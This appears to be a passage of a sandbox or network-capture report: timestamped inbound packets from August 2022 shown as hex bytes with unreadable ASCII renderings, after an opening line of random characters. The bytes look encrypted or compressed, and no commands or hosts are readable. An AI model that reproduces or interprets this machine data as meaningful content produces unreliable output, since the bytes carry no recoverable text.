EOWc>R1Vsb/tL@NC7uO:o>5C&[LFs?!OS8+Q3gHOTw(TA^icVj.GG@P1gCLh:ovD
2022-08-31 12:29:00 UTC	3863	IN	Data Raw: c0 97 d8 4f df d7 1c 37 ae 02 9e 48 c4 0f 13 c5 bf 76 1d de ae d7 87 a0 cc 25 03 8d 6d fe 72 f9 5a 2a df 6a ff c1 38 3e a0 fc 22 f7 21 b6 15 a6 c2 95 71 9f 90 fb 4d f0 19 80 38 34 68 a1 de 9f 28 35 c1 cd 71 3d 35 c2 c5 0a e0 e0 be 9c 29 c9 b0 76 73 b2 fe bc fe 4e 29 5a f0 a6 4c 5a 03 37 27 a3 88 40 1d 50 d8 20 29 93 60 e6 19 e9 0c 08 94 0c e9 e4 07 eb b2 63 1c 38 6e 76 16 57 35 72 01 ba 82 03 7f b0 21 a8 9f 29 e0 8d bf 49 2d 69 fe 70 86 a9 22 cc 23 e8 7e a2 56 6e 7f 47 93 26 46 ff 0c ad 54 c2 51 89 89 73 a7 ab 49 fb b4 9c 8e 2b 11 fb 08 6e 4e 9a 1b cb d4 7c 09 e7 1e 0a 64 95 6e 9d 60 28 02 6c 31 31 07 74 08 64 3e a1 3a 94 cb 2c 0e 47 20 3b 34 a1 e6 1a 78 63 68 56 3c 80 c4 45 99 5e 1c 0f 69 37 a4 d0 fd 88 67 21 c3 ef 0d 52 da a4 3c 0c 69 24 a9 f4 8b 9c ae Data Ascii: O7Hv%mrZ*j8>"!qM84h(5q=5)vsN)ZLZ7'@P )`c8nvW5r!)I-ip"#~VnG&FTQsI+nN\|dn`(l11td>:,G ;4xchV<E^i7g!R<i$
2022-08-31 12:29:00 UTC	3879	IN	Data Raw: 84 70 d9 5b 0d b7 4e 1c bc 82 63 2a 4b 51 a0 c8 d6 38 85 fc 79 2c c7 79 37 4c c0 af 72 2e 05 2c dc a1 c6 bc 94 06 2c d3 9d ea e4 1a 4d 3b 0d ba 22 64 71 bc ff 8f 48 ae 4f a9 de 4d 5b 84 9d 46 d0 ee 11 91 71 de ec 55 9c f0 1c 09 21 d2 74 28 a5 2b 41 7b 33 95 57 54 41 ba e5 4c 05 fb 05 41 95 d4 2d 4c 54 e4 67 b1 ad fc b1 53 b3 19 a4 ab 50 ed b2 bb 4d 42 b3 01 ca cb d6 c9 6e b8 58 d3 7e 2e 36 0d 12 ea ae 2d 3e 8f 57 0f f8 3b 1a 91 1c a8 75 1d c7 f9 63 69 1a 1e ad 1c ec 6c b5 99 e6 aa ef 61 1e 89 af 62 79 c5 48 20 bb e2 bc 84 b0 f9 8d 60 03 d3 eb 3d 44 8b 4f 8d e5 0a 8c 7b 7a ea 0e 98 cf 12 ad e1 4b bc cf 92 8d 37 d6 d3 ee e9 1e 8b fa a7 b3 ca ee 2d be ae fa 07 13 87 c7 11 e8 65 f5 e8 8d 8b 61 c2 bf 9b 0c d2 60 23 3f 59 db ce b9 63 94 09 c6 a5 47 bf b5 da 19 Data Ascii: p[Nc*KQ8y,y7Lr.,,M;"dqHOM[FqU!t(+A{3WTALA-LTgSPMBnX~.6->W;ucilabyH `=DO{zK7-ea`#?YcG
2022-08-31 12:29:00 UTC	3895	IN	Data Raw: f6 91 07 e4 2a 51 4c b6 0e 40 fc e4 3a 0b d2 b2 0b 85 26 f5 c0 82 4f a5 bb 20 d9 b8 af 68 3f 7d ef 71 a2 aa 10 2b e5 77 4d 33 a0 5f e2 3b 5c 41 32 2b c8 79 bd ce dc 77 75 cc df 14 cb f3 f7 cd d7 55 fb c6 a6 2b 32 7b 5f 57 a8 76 15 d1 cf 01 b3 ab 4b bd 59 35 29 6f a9 03 da 1b 03 6a ba ec fa 7f 77 6d 61 b2 88 78 53 8f b7 67 1d 7e 5e 76 14 b5 1b 0c 2c f8 c1 09 50 12 45 81 ab 6b c6 a2 53 bb 9f 3f 84 8e 2c 07 e7 11 d1 6e fc ed ed 9d 66 5b 84 4c fd 6b 45 a6 02 84 e6 a3 06 07 12 f6 73 cc 1a e1 e9 7c 59 5a 0a dd 13 02 c0 a0 b6 53 33 d3 2a 77 43 a3 58 b5 50 3d 1e bf 35 4d 5f b4 a4 81 92 63 cd 52 ea 52 19 2f 72 03 6d 17 36 0d b9 a8 5b c5 db 4f 8b b0 a1 d6 89 54 07 4d 5c ae 2a 23 d0 87 f8 a2 7a a1 93 5f 95 b0 8a 37 7a ae f1 02 db d5 72 c9 08 29 fd 78 24 83 af d4 d4 Data Ascii: QL@:&O h?}q+wM3_;\A2+ywuU+2{_WvKY5)ojwmaxSg~^v,PEkS?,nf[LkEs\|YZS3wCXP=5M_cRR/rm6[OTM\*#z_7zr)x$
2022-08-31 12:29:00 UTC	3911	IN	Data Raw: f8 1d e6 9a 8d ba 96 fc c2 c0 2b f1 22 94 f7 9e d4 3b 83 d7 cb 9c 8f 3b 01 89 e5 1c 70 b1 41 86 f4 54 3d 79 1b ac c1 6a 10 d4 45 51 a3 10 14 4b 4c 1e f3 04 a8 1c e4 4a 54 3c 1b 8b 6b 6a e6 48 af ca dc 86 80 74 7a 06 65 8f fd d3 69 fa f5 24 b7 d7 a9 3d e5 4a c4 d2 04 b1 7e 24 d0 ed 41 66 b4 78 3c 25 2f 7f 04 37 f7 49 19 7a 2a 77 d3 01 1a 83 b1 08 d1 3a f5 73 1b 80 50 bf 5c 18 82 5b 4f 98 34 23 f6 29 3a d2 95 4e a1 98 4a e2 fe 13 6f 26 37 a3 b4 45 d1 df 22 fc eb 07 77 67 0a 0b f0 ef 3a 1f b1 f1 08 c9 d3 ee b7 0f 2d 16 e9 8c 8b 07 0f 67 18 68 f6 09 69 fe 0b 85 17 e9 c3 2a ce 8a 1e e6 96 82 ae 64 84 a7 75 07 3a 1c 08 9b db 36 a1 c6 48 1a 39 d4 51 54 23 d3 ec 35 12 cf c1 9d 4a bb b2 0d 92 2b 6d 71 06 31 59 10 63 a7 b8 26 cd a6 72 96 9f 0f 88 fc c4 7b 8d f0 54 Data Ascii: +";;pAT=yjEQKLJT<kjHtzei$=J~$Afx<%/7Izw:sP\[O4#):NJo&7E"wg:-ghidu:6H9QT#5J+mq1Yc&r{T
2022-08-31 12:29:00 UTC	3927	IN	Data Raw: c0 91 49 4a 60 03 1d 56 06 d0 24 00 c4 f0 51 cd 64 b1 8a 2b 5d bc b3 11 fe 67 06 9a 98 81 86 2a 8d f5 2b 42 ae 5a d6 e4 0f 30 d2 fb b0 16 ce 4c 94 f2 0c a1 da 4d 16 69 53 66 cb 5b eb 73 4c 41 c2 f4 7c 43 bd f7 5b 95 03 97 52 f0 e5 04 30 bf 06 2c 0a 8b ea 03 46 88 ac 08 ed 90 13 9d 13 3f e4 e2 5f 44 14 5b 85 5f d9 19 08 62 e3 57 54 bf bc 04 45 b6 1e 5e fa 53 f7 af ff 78 39 f4 e1 f0 60 df 06 89 27 07 80 1e 49 fa 5e a9 90 72 4d 0d 65 44 99 f8 c1 b9 87 de 73 88 83 cd 9c 72 54 93 ab 21 31 a3 cf 56 3a e2 b2 ee f3 16 47 65 1e f0 78 5c d8 41 3f 6e 24 8d b4 47 4f b3 09 26 9a 3a 69 1c 14 4d 84 fe 2c f9 2e 16 f2 b4 11 dd c3 d6 c1 f8 68 dd b0 3a 47 ac ed 2d 29 7d 20 f7 9b 00 25 39 f9 32 ab cb fd 66 d5 58 88 57 5c 85 3e 82 35 96 8c 71 f7 71 e6 d2 1a a0 ce be 22 75 aa Data Ascii: IJ`V$Qd+]g*+BZ0LMiSf[sLA\|C[R0,F?_D[_bWTE^Sx9`'I^rMeDsrT!1V:Gex\A?n$GO&:iM,.h:G-)} %92fXW\>5qq"u
2022-08-31 12:29:00 UTC	3943	IN	Data Raw: da 83 eb 71 d6 6a 2f ca 15 2e 42 d1 30 54 d3 16 ac 08 a5 2a 19 3c ad 9e 2f b8 95 1a 8f 57 6e 81 97 71 03 82 63 7a d6 30 8a 85 04 97 05 45 90 d1 4c 00 bd a7 ca b6 08 43 17 a7 67 2f b5 95 5d ab fc 1f 2a 74 31 53 01 5c 5b fe 0a 5d 25 43 89 5e 63 61 1a 76 44 b5 1e 02 60 0b 27 a0 83 7d 7d 5e 54 34 df ba 63 2f 5c 2a f3 00 63 60 92 74 bb fe e7 40 50 03 a8 91 71 3b 80 ea 6f 13 34 99 fd 23 1f 4e 9b c7 10 78 57 a4 08 f3 e3 bf 38 a9 8b 4a 39 92 5e 96 dd 33 e4 d5 76 f9 32 1c bc 02 63 8a a0 4d 06 8d 0b 9d 8c 20 0e 4b 41 a0 5e 79 29 6b 9b c3 3f 5b 96 d0 0d 10 10 e7 56 7b 85 61 93 48 2d df af c7 7f 50 f5 0e a7 92 51 b0 c7 c0 4c e8 bb ad 9d 66 ef ec 5a ba 75 2b c6 fa e3 ba 5f 6f 03 d2 62 57 13 06 ac 44 98 ed 9a 0f b5 f5 68 ae 92 61 87 9a fb e5 6a 80 97 92 9e 54 09 5c 0e Data Ascii: qj/.B0T</Wnqcz0ELCg/]t1S\[]%C^cavD`'}}^T4c/\*c`t@Pq;o4#NxW8J9^3v2cM KA^y)k?[V{aH-PQLfZu+_obWDhajT\
2022-08-31 12:29:00 UTC	3959	IN	Data Raw: e6 ac 32 45 b1 a1 bc 14 b8 86 02 db 29 37 36 21 5e 15 1b 08 5f 57 38 5c 4a f1 a0 50 04 11 79 e0 1c 25 3c e5 27 35 ae f4 7e 5b 3d 94 52 e1 e7 38 04 8f 66 06 f6 2f fe 49 d0 21 56 80 db f4 39 4f 6a c3 03 63 3f 12 97 03 ee 30 5b 37 15 30 dd 5a 31 02 b9 ae a1 59 13 bf 72 1a 4d b4 b4 bf 67 85 1a 9f 62 93 4e b6 4c ff e0 ba d5 50 e0 37 ba 5b 6b a0 52 50 d4 0c 88 fa 3b 95 6f a3 e4 42 43 24 77 65 5c d2 d8 cc d7 e5 51 f8 e2 96 e2 fc 80 71 82 fd 2c 29 42 36 3c d4 b3 2b 31 ce 66 9a 43 bd 26 84 47 64 5b 1c a6 a2 f9 ae 53 e0 c5 7d ed c2 3f 82 25 7b 2e 01 26 ae 29 91 31 01 b6 94 1d ab cc 1c e3 30 d6 9d aa 14 b3 07 f9 b0 fb 09 3a d3 68 83 9c 83 17 d2 c9 8d 46 27 e8 6a 15 ad e9 b3 0b f8 27 e2 02 7a 25 16 89 e2 a2 ab 50 a7 d3 da 81 1c 94 87 19 6e 08 dc c2 96 77 3b 45 9c e8 Data Ascii: 2E)76!^_W8\JPy%<'5~[=R8f/I!V9Ojc?0[70Z1YrMgbNLP7[kRP;oBC$we\Qq,)B6<+1fC&Gd[S}?%{.&)10:hF'j'z%Pnw;E
2022-08-31 12:29:00 UTC	3975	IN	Data Raw: a5 af a2 37 e4 5e 3b ce 0c 5b 87 0a dd 76 ee f8 05 00 39 1d f9 1c 53 e1 38 b0 47 5e da 5a 52 a6 7d 48 b7 71 13 de a6 67 c7 b3 04 8b a9 55 ee 3e 5e 2a f5 86 f3 4d 32 0f a0 ce 86 59 9f 10 95 20 7f 82 78 02 a1 df 82 11 5a 74 9a ab 93 be 58 d7 71 2d f3 6f e1 87 aa ec 96 d7 45 b2 57 65 65 50 3e a1 00 1c 57 2e 6e 5e b3 c5 6d 46 88 8a 3a 1e ea 1d 43 71 7c 2d 5c ae 13 11 20 1e 1c 67 0c e2 9a 6e 52 f0 31 1b 88 ae 0a 9e b7 8f 19 11 63 56 29 5d da 40 64 50 1e 45 c3 18 20 06 d3 a4 23 82 71 25 e3 5c 13 4e fb 83 3d 78 9b 77 0c 06 92 e5 d8 35 7f ed 95 13 41 dc a8 dd 48 02 4c 55 52 29 f8 cc dc 59 ad d4 bd 40 05 e8 27 bb 50 0c 62 bf e1 0f 81 91 84 6f 08 35 9e 1e 4d 3d 29 ca 12 63 f5 1e b4 de 3a 07 31 56 d4 c2 0d d7 85 7d a9 59 52 6d b4 1e 9b aa f9 a6 4c 7f 96 c2 8b e8 5b Data Ascii: 7^;[v9S8G^ZR}HqgU>^*M2Y xZtXq-oEWeeP>W.n^mF:Cq\|-\ gnR1cV)]@dPE #q%\N=xw5AHLUR)Y@'Pbo5M=)c:1V}YRmL[
2022-08-31 12:29:00 UTC	3991	IN	Data Raw: 75 29 01 d8 4b 24 b9 eb 86 85 e0 cb d3 2c 99 7d 1a 8a 22 6d 66 5d d7 e1 0c 9e 2a 10 68 7a 99 50 0e 47 18 c6 83 b6 6e 50 d2 b6 a2 ef 3a f9 11 eb 57 ca bc 03 5c 66 55 db 25 78 48 e5 5b 52 e3 c3 b0 4d ff fd 7c be 2d 21 8f 9b ad 61 f7 a4 83 7a cf 37 3d de cc e4 a1 aa d1 94 7a 79 b3 cc 04 66 ab 5a ce be c4 09 64 8b c7 32 4f 19 a4 92 18 66 5c ae 45 bd 6d 21 d8 1d af f6 af 8f a1 b9 04 86 ab 23 e2 4b 18 5d c9 57 d0 82 14 94 24 14 13 b1 41 61 01 03 24 91 dc f2 9f 06 59 d4 e9 46 30 b8 6a 28 af 86 0f 31 4a c8 1a 2d d3 91 87 e3 6f 2b ed ad 08 c8 ab ee 3a f7 84 47 16 66 87 3d d6 ae 31 ae a3 0d ff ed cb 7f df fb e4 53 a0 32 a5 c0 3e 62 e8 9e 97 ce af 0a 80 55 48 0b 95 e4 19 e6 2d 40 ed 29 3b 29 64 a8 6e ef 32 5c 4e 6c 94 39 fd 9c 59 2e e6 11 12 26 a8 1a f5 60 1d d3 ec Data Ascii: u)K$,}"mf]*hzPGnP:W\fU%xH[RM\|-!az7=zyfZd2Of\Em!#K]W$Aa$YF0j(1J-o+:Gf=1S2>bUH-@);)dn2\Nl9Y.&`
2022-08-31 12:29:00 UTC	4007	IN	Data Raw: 4e 9b ae 08 c2 e5 c6 1e d1 25 6e dd d7 26 aa b8 ca 89 1a c2 f8 d7 d3 f8 00 3d ff e3 a5 56 cd 59 d2 41 bb 90 ef 8e cb e6 e4 90 4e 59 c4 45 14 1e e6 b8 0f f6 96 3f ee a9 48 0b a7 70 2c 3c c9 b4 91 56 04 c0 78 ce 3a 59 38 8e c4 0f 0a 1b 60 07 9f 48 91 3f 44 4f 8e c0 fc ab f2 85 23 72 90 6e 8e d9 e0 cf 1b 15 90 24 26 ae b3 b4 5b 04 7b b7 c0 e8 c5 bf d8 d1 58 4b 4f 77 83 d0 09 00 4c f5 29 0c 5a fc 52 03 69 12 09 4c e4 05 dd 41 3f 0c df 6c d3 ff ff 2a 81 5f e8 08 c6 3d 34 c5 dc 4f ec ed a2 5c 69 d2 34 cf 5d c9 ad 5c 0c 3a 19 a0 50 c6 78 44 c2 b0 71 52 29 6a 70 9f 98 ed 4b 65 47 96 48 d5 bf 4d fa de 0c f1 29 6c 7b 5c 7a db 5b 27 5b 54 76 02 e3 55 a7 eb fc 81 ff 47 96 dc c3 6d a0 a1 d1 81 9b 4f 1b 64 c3 5c ac 87 54 92 09 43 9c 6c 83 f6 77 18 bd dd aa d4 c4 54 7c Data Ascii: N%n&=VYANYE?Hp,<Vx:Y8`H?DO#rn$&[{XKOwL)ZRiLA?l*_=4O\i4]\:PxDqR)jpKeGHM)l{\z['[TvUGmOd\TClwT\|
2022-08-31 12:29:00 UTC	4023	IN	Data Raw: 83 e7 dc 9d f8 25 f3 8a a6 07 98 4c fb c7 c3 47 97 d5 a5 61 f7 51 20 db 0f 79 d5 05 fe c2 3f 39 cd 10 1c 8d 5c 48 12 8f bf dc 31 fd 4e db 5b e7 83 e5 8f 40 73 6c d7 cd 24 d8 36 72 92 d1 46 a9 2a b0 5f 71 35 31 cb c4 7d 72 60 a4 46 ee 64 22 85 fd 98 d2 10 8e a6 5a 25 cd e2 0b 44 d0 e4 45 46 1e b5 f7 84 29 d0 12 73 ed 82 e0 05 2c 6a 36 7c a9 91 9c ee bb c1 c3 66 cf 96 98 a1 52 5c 77 57 0d 1e 2d 78 18 94 80 6b 0b 67 bb 81 68 4f da c6 76 ab a2 15 5a 3f 1b 87 09 ce 5a aa 42 45 63 bb eb 89 58 82 b0 0d a8 60 a0 2b 40 30 d5 08 56 9a 8e 28 85 bb ba 5d 12 3f c8 4f 94 2f b3 59 33 e5 26 81 a7 b2 77 36 b0 6c b7 e4 ab 39 f9 4f e4 e2 7b f1 93 29 b4 e1 0e f6 4b 38 e8 06 40 61 fe fd c8 93 ff 88 bd 07 4e ba bf 85 5d e9 4e 99 11 82 70 d9 81 41 d0 20 1f a7 51 a8 dc 49 6c bc Data Ascii: %LGaQ y?9\H1N[@sl$6rF*_q51}r`Fd"Z%DEF)s,j6\|fR\wW-xkghOvZ?ZBEcX`+@0V(]?O/Y3&w6l9O{)K8@aN]NpA QIl
2022-08-31 12:29:00 UTC	4039	IN	Data Raw: 98 b3 01 86 88 3e 65 e5 e5 90 90 83 77 78 32 99 7a 9e 06 02 1a 80 f9 ce bd 83 53 63 f8 16 59 d0 f4 1c 49 3e a6 32 f0 00 e2 e1 92 ac bc 46 4e 0f fc f3 9e e8 d2 cd fb d3 9f 07 e2 f5 7d 80 c1 3f 2e fc c6 6b 77 af ae 64 24 c1 78 21 03 c7 e4 77 b4 6a 6b 97 3c 7c 4d 25 d5 98 bd fd 96 2d ee de 05 2b 63 a8 76 0f 84 f5 9a 88 b5 dd 5b db 91 c8 5a 6e 47 39 e5 2c 47 29 d5 35 c4 52 c6 70 46 36 15 f2 f2 bb e1 4a bd 3f a9 84 3e 57 a2 4d 79 b2 2a 73 23 23 16 a7 c7 41 15 a3 67 ee e5 5b 41 1b cd f1 f1 50 25 71 68 89 ba 37 47 88 2e 58 32 64 9b da 4c 82 57 c9 29 64 d0 2c 2a e2 b6 c3 83 53 8c 14 17 f5 62 3d d4 1f 55 2b 34 f7 f0 91 5c a9 2c 5e 6e 7c 32 f2 c0 6e 26 a5 9c e3 9d 45 62 54 8b b6 95 66 5a 26 6d eb e4 c3 23 24 93 a6 65 a5 31 a8 4b ed 72 6e bd 8e 66 2c ae 51 c8 44 e6 Data Ascii: >ewx2zScYI>2FN}?.kwd$x!wjk<\|M%-+cv[ZnG9,G)5RpF6J?>WMys##Ag[AP%qh7G.X2dLW)d,Sb=U+4\,^n\|2n&EbTfZ&m#$e1Krnf,QD
2022-08-31 12:29:00 UTC	4055	IN	Data Raw: 7e 2d e1 c5 6f 4d 83 e6 0e 25 a7 fe 4f d4 e4 b3 7e 50 ad 7d 5b c9 6d 57 c8 e4 82 53 39 5f 6d 12 78 4b 15 d8 c7 55 78 35 8a d3 8a 62 7a 34 8c 00 ba 11 21 a5 e7 dd 3b 82 96 23 43 c4 af a7 0b 0a 0c 06 fb 52 a2 cc 90 30 f2 de 78 4f 4d bf cb da 00 f7 90 8e 1c 9c 8f 55 bd 4b 74 df 6d e1 db 00 9a eb bf 65 42 95 3b 8b df 46 1c 6b db be 47 fc c7 0e 4a c8 13 42 90 64 34 c7 27 d8 2c f4 e8 da 08 8f da b9 82 86 a6 8b 9e 60 23 22 d0 82 8d d2 a1 fe 28 76 89 0c f6 c1 81 2e 14 b4 a1 5b 5e 8c 09 29 1e 46 d0 49 01 2b e2 bb 80 2a 94 3f 5a a8 aa f0 69 21 c3 7b 30 6f 99 52 0c bb 30 8b 57 ea d1 f7 75 a8 21 68 59 15 25 65 51 e5 e7 30 df 0b 60 28 83 4d d2 c5 6f 20 bf d5 6b 3f 3e 35 bf 6e fc 54 83 c3 09 5b 1c 7d 9d b1 9d ab b1 43 50 ff f2 88 e2 91 2f 41 75 e7 90 82 10 67 8c 48 68 Data Ascii: ~-oM%O~P}[mWS9_mxKUx5bz4!;#CR0xOMUKtmeB;FkGJBd4',`#"(v.[^)FI+*?Zi!{0oR0Wu!hY%eQ0`(Mo k?>5nT[}CP/AugHh
2022-08-31 12:29:00 UTC	4071	IN	Data Raw: 67 dd 4a 92 8b a0 73 00 ad be 33 0e 01 65 03 8b 7d d6 67 a5 eb 11 e0 4e f4 83 62 5b da be ab 33 d5 cb 06 1e 90 53 38 f3 b1 a1 4c 91 cc c7 aa 63 80 dd 36 4d 0a 67 a6 54 af ba 80 bc 71 4c bc 04 2e fc d2 c1 ca 74 33 2d 54 0d 85 7d 00 1d 78 53 b9 92 e3 1f 80 9b be b3 65 12 93 c0 39 8f 6a 7b 8b 6e 73 e6 51 2e ec 71 1a 1f e4 b5 16 6c 24 2b 21 3d 43 73 65 86 32 90 49 f2 08 b8 30 a4 4a 8e 73 af 52 83 83 f5 4d 4b ae f4 94 6c 23 76 28 10 8c 5b f6 d5 70 98 00 7d 72 44 22 3e d2 95 68 3a 73 b5 80 82 2b 69 5a 3c 33 bb 17 53 b6 76 0c 00 f2 eb cc f4 0b c0 e8 03 78 f5 20 c3 a2 1a b7 d6 34 f3 72 f7 ce ff 30 38 e5 96 76 63 21 f1 c0 01 3a af 61 a4 a3 4a cf f4 ec e7 3b 89 f5 6f 84 eb fc bc 20 a5 27 6c 0c cc 11 7e d0 29 49 92 2c 65 5d 8c 04 e5 f1 5c 67 31 31 d6 34 04 74 66 05 Data Ascii: gJs3e}gNb[3S8Lc6MgTqL.t3-T}xSe9j{nsQ.ql$+!=Cse2I0JsRMKl#v([p}rD">h:s+iZ<3Svx 4r08vc!:aJ;o 'l~)I,e]\g114tf
2022-08-31 12:29:00 UTC	4087	IN	Data Raw: ab cf 83 1d a2 c6 f1 5c 29 08 69 1c c7 4f 35 b3 b8 30 0c 47 0f 27 d6 6d 70 07 4e dd 5d 05 b9 9f 65 03 ee 1b 38 f9 f0 cd 32 e7 d6 fd 30 97 32 e3 6d 99 a8 13 f6 99 75 82 ac c2 af 3c 00 13 7b a7 cc 8a fc 0e f5 b3 f0 69 c6 6a 88 31 0a 96 94 1b f8 78 f2 8b a4 30 f3 6c 21 93 c5 67 2d fc ec bb f9 3a 43 49 79 ba 39 b7 e1 c5 08 f9 ce 45 2b 5b 6c b7 e3 7b c8 c5 04 96 34 ab 47 c0 80 21 96 9b 7f 43 b6 68 5c 0c 5c fc bb ea 67 49 0d 0f 28 42 f7 26 c1 63 03 30 e7 d6 31 bb d4 13 59 d6 1a c2 5d 9b 2b 86 f4 c1 81 e8 8d cc 10 be d2 24 41 88 85 19 cd ed 70 cb d8 3a 5b 30 47 95 29 d2 d7 d6 8f 6b 24 e7 b3 a3 78 e4 64 9a 2f e5 85 6b 33 9a fe 25 e2 60 69 c6 ee ef 8e ee 38 be 62 c3 e5 21 ff 11 53 41 0d 35 b1 bf 0f 42 0e d8 09 33 88 55 a5 64 2a d7 b4 44 73 28 5d 47 ba 99 82 1b 97 Data Ascii: \)iO50G'mpN]e8202mu<{ij1x0l!g-:CIy9E+[l{4G!Ch\\gI(B&c01Y]+$Ap:[0G)k$xd/k3%`i8b!SA5B3Ud*Ds(]G
2022-08-31 12:29:00 UTC	4103	IN	Data Raw: c5 24 a4 84 60 08 19 24 26 03 60 5c bc 4c dd f7 12 75 9e d4 8f 6c cb 34 bd bb f0 5c cf 5b b5 2b ef a5 7f c0 78 31 4a 71 5d e3 83 59 8a 08 64 a7 07 31 39 db 6b 0c 47 f7 29 b6 5e c7 ef 4a d7 da a9 3e 15 7e 75 f1 2b e4 cb 8a 17 47 c6 b3 65 35 05 ca 82 b7 49 e9 c7 4d 68 eb 15 df d2 f1 7f 3a 0a f0 f6 3d 9e f6 1d 8b 81 bf 24 31 f3 83 88 e1 ab ac 17 01 88 2f a9 82 26 ee 40 94 eb 32 15 5e 67 1b ae 9c 17 c1 da 88 a1 d7 c9 1b c3 b8 05 cd 02 6e b2 41 43 88 30 da f4 48 87 c4 04 bb 69 05 48 07 b7 b0 7d de e1 25 5b 1b ee d8 3b 92 16 7c 29 ae 19 ca 37 15 5b e7 67 df 37 71 61 b1 ab 13 fa 85 f2 f8 04 0e 4f f9 ee 69 ca 15 30 97 c8 63 8f b3 b3 81 0b 98 42 83 7c c5 bc 13 8a c5 05 5f c6 ef 02 dc 5f 69 69 33 5e 4c 26 4f 21 03 34 a0 0a 74 fc c0 4f 07 a6 7e 39 e5 0e 73 24 70 3c Data Ascii: $`$&`\Lul4\[+x1Jq]Yd19kG)^J>~u+Ge5IMh:=$1/&@2^gnAC0HiH}%[;\|)7[g7qaOi0cB\|__ii3^L&O!4tO~9s$p<
2022-08-31 12:29:00 UTC	4119	IN	Data Raw: 4d 05 60 b7 84 d0 cf c8 64 39 e9 e4 44 ad 5f c1 b6 ac 1d 82 9d ef 5a ad 83 1e c6 6a b2 55 87 7e 91 c2 6f 29 16 3a 5b cd 9a 57 20 d9 64 f4 f3 d9 e9 f7 b6 4b a3 a5 74 0c 29 00 9a f6 af ec 1a 4c 78 1a 2e 93 e1 7b ca 1d 89 6f d9 6c f8 59 48 56 ef 7e 20 37 e0 6a fd d3 ea 57 b0 73 01 7b 7a af 25 fc 4c bf c5 c8 71 10 57 04 4a d2 64 6c 0b 7c 2a e6 4e 95 72 81 f0 62 9b bd fb a5 f6 cc e8 6c d9 93 7e ac b4 d0 90 d6 fd a2 67 cf e7 80 96 d3 6a 62 d8 60 63 5a d3 a5 dd 5a 09 5b de c7 25 ac f2 d8 25 33 17 92 dc 71 8b 27 95 3e 39 9b 16 55 07 92 21 09 72 33 7e b1 5a 5f 87 eb f9 c3 28 a5 4f 4a 69 20 16 53 96 0e 25 2b 0b 1a 25 c8 2e 93 47 66 2d b0 76 93 8f 12 56 e9 01 9c 4b 76 47 f6 4b 28 fe d1 d4 19 dd 41 8d fd 18 1a 31 34 a6 f6 66 fb d6 8b 98 bb ce d0 c6 92 c3 9f 77 e6 18 Data Ascii: M`d9D_ZjU~o):[W dKt)Lx.{olYHV~ 7jWs{z%LqWJdl\|*Nrbl~gjb`cZZ[%%3q'>9U!r3~Z_(OJi S%+%.Gf-vVKvGK(A14fw
2022-08-31 12:29:00 UTC	4135	IN	Data Raw: da d9 aa 9b 83 a2 88 33 f5 92 48 6c 13 9a 54 39 7d fa f4 0e 38 e4 0a 52 09 4d 02 82 22 fb ee 25 63 0c 03 6c 41 13 c4 10 d5 7e 63 c4 3c 4f 80 0e 83 80 08 76 21 f1 97 b5 53 bb f0 b6 f5 3a 4e 71 c4 53 8c 8c 65 9b e0 56 58 bd 59 bf dd c9 b7 32 54 d8 0c 93 c4 32 41 3a 0e c9 70 18 e4 ff ad 0c 44 39 55 0c 5d b9 de 40 8c ba f5 84 bb 30 90 b8 a8 71 e3 fe 8e a6 11 7a 56 07 92 57 12 4e 8e c3 09 90 d8 ea 71 16 46 2b 46 b1 dd ef 8f 05 59 67 25 55 a7 6a 10 20 df 38 39 4f 92 9a c4 3f 78 55 68 3e a8 13 fe b8 62 b4 3c 8e 66 fd 50 2d 82 b3 13 b8 fc 22 cb df f1 79 a1 37 eb 59 85 6e 33 cc ad 0b 3c 56 22 13 e0 fb cf ed f1 20 2c 0f 24 8b e7 39 7e 58 62 aa 18 f4 c4 c4 84 08 b9 cf 2d c6 29 35 98 2b 21 9b 50 81 ae b0 d6 4e c5 6e 89 c3 e4 dc 95 38 44 c1 26 b3 b5 48 49 38 89 c7 c7 Data Ascii: 3HlT9}8RM"%clA~c<Ov!S:NqSeVXY2T2A:pD9U]@0qzVWNqF+FYg%Uj 89O?xUh>b<fP-"y7Yn3<V" ,$9~Xb-)5+!PNn8D&HI8
2022-08-31 12:29:00 UTC	4151	IN	Data Raw: dd f8 0a 4a 06 c5 00 69 76 10 fb 2a d3 a9 56 fa c4 f9 4b a7 9a f1 a4 d1 5e ba 72 45 e1 c6 e2 7e 5b 2c b0 ab 11 db 53 36 02 91 c5 e8 92 d9 5c da f1 8e 52 55 fa 60 a5 2b 7f 3e e5 ae 50 1b d7 38 27 27 a1 c9 93 18 26 3b 44 77 13 bf b1 2a 77 9f fe d8 aa 98 cc fc b0 da 7b d5 67 bf 22 a6 57 11 48 7f 90 e9 4d 71 f5 82 fe ab d9 45 a4 61 ff d1 67 47 b3 60 4f 89 6c e6 5a e0 6d 56 61 e6 6c 89 b6 3f c6 7b 0d 83 1d 93 b9 62 b8 89 ed 55 17 dd 65 60 b0 7e 53 ab bc bf a2 e6 d9 6b 4e d3 e0 a7 23 26 56 bf 99 34 8e d5 45 d6 97 7e 26 4a 11 fa b4 3b fa 15 7f 85 82 a6 e2 95 92 ef 25 d6 04 e6 af 93 79 ad a9 87 d6 ad f4 61 6a 3c 88 b0 35 6c 54 46 41 34 96 69 21 f7 d5 0a 87 7d 95 c0 f3 89 90 bd 2d 2b c1 90 99 11 1e 3f 65 25 c0 fa ae 07 e1 a3 0b c8 4c 2a f5 50 2b f7 19 ce 7a f1 c5 Data Ascii: JivVK^rE~[,S6\RU`+>P8''&;Dww{g"WHMqEagG`OlZmVal?{bUe`~SkN#&V4E~&J;%yaj<5lTFA4i!}-+?e%L*P+z
2022-08-31 12:29:00 UTC	4167	IN	Data Raw: fa d1 46 88 ad 6d b6 29 ac 8d 6a b1 16 7c 1d e5 20 71 93 54 8e cd c3 a0 7f 39 69 13 36 c9 39 64 99 1d b4 aa 58 f6 29 4c ef 9f 18 e3 35 38 39 c5 07 79 ae 5d d1 4e ec d0 e4 4f 1a 0c 21 2d 5a 79 83 3a 11 96 bb 5c 5a 38 03 f5 59 d7 82 7b b1 bb ac d8 80 ff af 0c e0 b8 b8 b6 d7 9a 12 da e9 95 97 15 39 ad 05 11 d0 d0 ba 5a e2 68 8c 9c a5 8a 82 71 d3 fc d1 4a 4c 9a 60 cd 5f 00 eb a9 28 3c fa 6d 08 7c 51 c3 4a 28 5d 24 09 db 2f ac aa 88 aa 07 ba 3b 7c 8e 83 a3 81 29 b5 1c e1 d6 e0 1e c9 c7 37 8b b6 11 ed ab 36 f7 3a af ed e3 bb 21 5a 47 e1 ac 32 88 05 39 d1 21 fd 7e 68 71 fd e8 8b 73 4a 51 82 c5 68 28 67 71 d0 31 5c f6 ce bf be 68 57 89 5a 94 96 